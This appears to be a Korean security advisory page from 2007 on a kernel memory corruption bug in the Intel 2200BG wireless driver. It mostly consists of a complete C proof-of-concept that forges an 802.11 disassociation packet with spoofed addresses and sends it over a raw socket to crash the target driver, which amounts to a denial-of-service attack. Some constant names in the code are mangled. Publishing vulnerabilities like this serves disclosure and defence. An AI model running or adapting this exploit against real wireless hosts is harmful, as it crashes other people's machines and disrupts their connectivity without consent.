◎ 작성자: 해커즈뉴스 ◎ 해당시스템: 9.0.3.9 ◎ 발표날짜: 2007.02.03 ◎ 유형: 원격 ◎ 위험도: 상 ◎ 2007/2/3(토) |
인텔 메모리 붕괴 >> Intel 2200BG 802.11 Disassociation Packet Kernel Memory Corruption
발령일시 : 2월3일 해당시스템 : 9.0.3.9 위험도 : ★★★★☆ 코드 작성자 : Breno Silva Pinto ■ 공격용 소스코드 제목 인텔 메모리 붕괴 ■ 발표날짜 2007.02.03 ■ 해당 시스템 9.0.3.9 ■ 공격유형 원격 ■ 위험도 상 ■ 최초보고자 mailto:bsilva at sekure.org ■ 문제점 인텔 무선 mini-pci 드라이버는 Intel 2200BG 카드에 제공되는데 여기서 메모리가 붕괴되는 버그가 발견되었다. 위조된 패킷을 전송함으로써 가능하며 내무 커널 구조를 붕괴시킨다. 공격의 결과를 한마디로 종합하자면 도스공격이 되는 셈이다. ■ 공격법 / 공격용 소스코드 Intel 2200BG 802.11 Disassociation packet Kernel Memory Corruption Driver files: w29n51.sys 9ee38ffcb4cbe5bee6c305700ddc4725 w29mlres.dll 35afeccc4092b69f62d757c4707c74e9 w29NCPA.dll 980f58b157baedc23026dd9302406bdd Proof Of Concept: #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <asm/types.h> #include <linux/if.h> #include <linux/if_packet.h> #include <linux/if_ether.h> #include <linux/if_arp.h> #include <netinet/in.h> #include <stdlib.h> #include <string.h> #include <stdio.h> // 28 bytes disassociation packet. char d[] = { 0xa0, 0x00, // 0xa0 pacote Disassociate 0xa000 FC Normal 0x00, 0x00, // Duration ID 0x00, 0x12, 0xf0, 0x29, 0x77, 0x00, // DST addr 0xbb, 0xbb, 0xbb, 0xbb, 0xbb, 0xbb, // SRC addr 0x00, 0x0f, 0x66, 0x11, 0x7b, 0xd0, // BSS id 0x00, 0x00, // Frag. Number 0x01, 0x00, 0x00, 0x00 }; // 2 bytes - Reason code int main() { struct sockaddr_ll link; struct ifreq iface; int s; char packet[sizeof(d)]; int len = 0; if((s=socket(PF_INET, SOCK_DGRAM, 0))<0) return 0; bzero(&iface,sizeof(iface)); bzero(&link,sizeof(link)); bzero(packet,sizeof(d)); strcpy(iface.ifr_name,"ath0raw"); if(ioctl(s,SIOCGIFHWADDR, &iface)) { return 0; } if(ioctl(s,SIOCGIFINDEX, &iface)) { return -1; } if((s=socket(PF_packET, SOCK_RAW, htons(ETH_P_ALL)))<0) { return -1; } link.sll_family = AF_packET; link.sll_ifindex = iface.ifr_ifindex; if(bind(s,(struct sockaddr *) &link, sizeof(link))<0) { return -1; } memcpy(packet,d,sizeof(d)); len = sendto(s,packet,sizeof(d), 0, NULL, 0); usleep(5000); printf("%d bytes enviados\n",len); close(s); return 0; } |
반응형